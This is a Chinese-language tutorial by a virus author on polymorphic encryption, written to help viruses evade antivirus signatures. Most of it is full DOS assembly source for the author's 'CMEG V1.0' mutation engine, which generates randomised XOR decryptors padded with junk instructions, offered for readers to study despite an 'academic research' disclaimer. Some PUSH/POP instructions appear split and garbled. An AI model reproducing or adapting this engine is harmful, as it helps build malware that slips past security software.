注: 本文是我个人的作品,如转载请注明出处,并请保持文章的完整性,或联系OICQ:24638587.
使自己的做的病毒"流芳百世"是许多病毒作者的梦寐以求的目的.为了达到这个目的,一般会通过两种办法来实现:第一种是隐形技术;(我们今天暂且不讨论这个问题,下节课吧^_^);
第二种就是我们今天要讨论的变形技术; 现在越来越多的病毒都使用了加密变形技术,以令自己可以"潇洒走天下".而且加密变形的水平也越来越高,令那些杀毒软件公司的工程师们伤透了脑筋.续上次写了,宏病毒入门后,好多的网友要求讲解一些其他的更高深点的东西,我就将我在大学时写的一个变形引擎的源程序在此讲解一下吧,但不是教你们要去写病毒,而是作为一种学术研究,让大家对病毒有进一步的了解。
本加密引擎使用的是xor的加密法,但加密引擎的重点不是在于加密的方法,(一个杀毒软件总不可能将一个变形病毒的所有加密后会产生的特征码都放到病毒库里吧^-^,他们通常是通过解密部分的特征码来查杀),我们关心是将我们的解密代码的编码方式。
早期的变形病毒是做好几个不同的解密/加密代码随机的选择,如下例:
……
mov ax,3456h
nop
nop
xor bx,ax
……
……
mov ax,3456h
or ax,ax
xor bx,ax
……
到后来就渐渐出现了会自己编码的变形病毒了,在DOS时代最著名的NATAS相信大家比较熟悉吧,我的随机数产生器就是在他那学的,当然改进了不少。
好了,不讲耶苏了,切入正题。
为了做到将我们的加密/解密代码隐藏,我们要随机的选用加密/解密寄存器,并用随机的立即数加密,这是我们要做的第一步,但这样还是不够的,
我们还要在加密/解密代码中插入随机指令,而这些指令必须不会影响我们的加密/解密。以下是我的程序,1.0版的,其它版本将在新的病毒梦工厂公布,你们自己研究研究吧.别做坏事噢.
;CMEG V1.0(CWL Mutation Engine Generates) Copyright 1996-2001 CodeDemon Virus Dreaming Factory
;Please use debug to test this code.
;CMEG V1.0(CWL Mutation Engine Generates) 变形引擎
;Copyright by CWL/[CDVDF]
;CWL/[病毒梦工厂]版权所有。
;请使用DEBUG来测试本程序。
.286
.model tiny
.code
ORG 100H
start:
 

USH CS
 

OP DS
 

USH CS
 

OP ES
MOV SI,OFFSET START
MOV DI,OFFSET BUFFER ;
MOV CX,dcsF-START
MOV BP,OFFSET BUFFER ;
MOV dcsF,0
CALL CEG
INT 20H
CEG:
PUSH cX
PUSH bX
CALL BOGUS
MOV AX,5
CALL MAKERAM
MOV dcsF,AL
OR AL,AL
JNZ pass1
CALL GET_SEVEN
CALL dcs
pass1:
CALL GET_SEVEN
CMP AL,4
JZ pass1
MOV REG16_1,AL
ADD AL,0B8H
STOSB
PUSH AX
CALL GETRAMNUM
POP AX
JP pass2
CALL GETRAMNUM
XCHG CX,AX
XOR AX,CX
STOSW
CALL BOGUS
CMP dcsF,1
JNZ pass1_1
CALL UNpass1_1
pass1_1:
MOV AH,REG16_1
ADD AH,0F0H
MOV AL,81H
STOSW
pass2:
XCHG AX,CX
STOSW
CALL BOGUS
CMP dcsF,1
JZ UNpass1_6
CMP dcsF,2
JNZ pass1_2
UNpass1_6:
CALL UNpass1_1
pass1_2:
CALL GET_SEVEN
CMP AL,4
JBE pass1_2
CMP AL,REG16_1
JZ pass1_2
MOV REG16_2,AL
ADD AL,0B8H
STOSB
XCHG BX,AX
push di
XCHG BP,AX
STOSW
mov cx,di
CALL BOGUS
CMP dcsF,3
JNZ pass1_3
CALL UNpass1_3
pass1_3:
CMP dcsF,4
JNZ pass1_4
CALL UNpass1_3
pass1_4:
CMP dcsF,5
JNZ pass1_5
MOV AL,2EH
STOSB
pass1_5:
MOV AL,80H
MOV AH,[BX(PTR_ADDRESS-START+100h)-(0B8H+3)]
STOSW
CMP AH,76H
JNE GET_ENCR_KEY
XOR AL,AL
STOSB
GET_ENCR_KEY:
IN AL,40H
STOSB
XCHG BP,AX
CALL BOGUS
MOV AL,REG16_2
ADD AL,40H
STOSB
CALL BOGUS
MOV AL,REG16_1
ADD AL,48H
STOSB
CALL GET_SEVEN
CALL BOGUS_2
MOV AX,DI
SUB AX,CX
INC AX
NOT AL
MOV AH,AL
MOV AL,75H
RET_CODE:
CMP REG16_1,1
JNZ LOOP_CODE
PUSH AX
CALL GETRAMNUM
POP AX
JP LOOP_CODE
MOV AL,0E2H
LOOP_CODE:
STOSW
CALL BOGUS
LEA CX,[DI- (BUFFER-START+100H)]
POP BX
ADD [BX],CX
pop BX
; MOV DX,BUFFER-START+100H
; CALL WRITE_FILE
ENCRYPT_PLOY:
POP CX
PUSH CX
CALL ENCRYPT_BYTE
POP CX
; MOV DX,0
; CALL WRITE_FILE
; call ENCRYPT_BYTE
RET
ENCRYPT_BYTE:
; push si
; push di
; MOV SI,0
; PUSH SI
; POP DI
LODSB
XOR AX,BP
STOSB
LOOP ENCRYPT_BYTE
; pop di
; pop si
RET
PTR_ADDRESS DB 37H,0H,76H,34H,35H
dcs:
CMP AL,4
JNZ NOPUSH
MOV AL,0EH
STOSB
CALL BOGUS
MOV AL,1FH
STOSB
JMP dcs_OK
NOPUSH:
MOV AH,8CH
ADD AL,0C8H
XCHG AH,AL
STOSW
 

USH AX
CALL BOGUS
 

OP AX
ADD AX,1002H
STOSW
CALL BOGUS
dcs_OK:
RET
UNpass1_1:
CALL GET_SEVEN
CMP AL,REG16_1
JZ UNpass1_1
JMP UNPASS
UNpass1_3:
CALL GET_SEVEN
CMP AL,REG16_1
JZ UNpass1_3
CMP AL,REG16_2
JZ UNpass1_3
UNPASS:
CALL dcs
RET
BOGUS:
CALL GET_SEVEN
CMP AL,2
JZ add1
BOGUS_2:
CMP AL,3
JA UNBOGUS
OR AL,AL
JZ add3
CMP AL,1
JZ add2
add4:
CALL GET_SEVEN
CMP AL,4
JZ add4
ADD AL,90H
STOSB
STOSB
JMP UNBOGUS
add3:
IN AL,40H
AND AL,0FH
ADD AL,70H
STOSB
XOR AL,AL
STOSB
JMP UNBOGUS
add2:
CALL GET_SEVEN
CMP AL,4
JZ add2
ADD AL,50H
STOSB
ADD AL,8H
STOSB
JMP UNBOGUS
add1:
CALL GET_SEVEN
CMP AL,4
JZ add1
ADD AL,40H
MOV AH,AL
ADD AL,8
 

USH DX
XCHG DX,AX
IN AL,40H
OR AL,AL
JP SWITH
XCHG DX,AX
 

OP DX
XCHG AH,AL
SWITH:
STOSW
UNBOGUS:
RET
GET_SEVEN:
MOV AX,7
JMP SHORT MAKERAM
GETRAMNUM: MOV AX,0FFFFH
MAKERAM:
PUSH DS
PUSH BX
PUSH CX
PUSH DX
PUSH AX
XOR AX,AX
INT 1AH
IN AL,40H
XCHG CX,AX
XCHG DX,AX
MOV BX,OFFSET KEY
XOR [BX],AX
ROL WORD PTR [BX],CL
XOR CX,[BX]
ROL AX,CL
XOR DX,[BX]
ROR DX,CL
XOR AX,DX
IMUL DX
XOR AX,DX
XOR [BX],AX
POP CX ;CALLING AX
XOR DX,DX
INC CX
JZ D582
DIV CX
XCHG DX,AX
D582:
POP DX
POP CX
POP BX
POP DS
OR AX,AX ;
RET
REG16_1 DB 0
REG16_2 DB 0
dcsF DB 0
KEY DW 0
BUFFER DB 0
END START
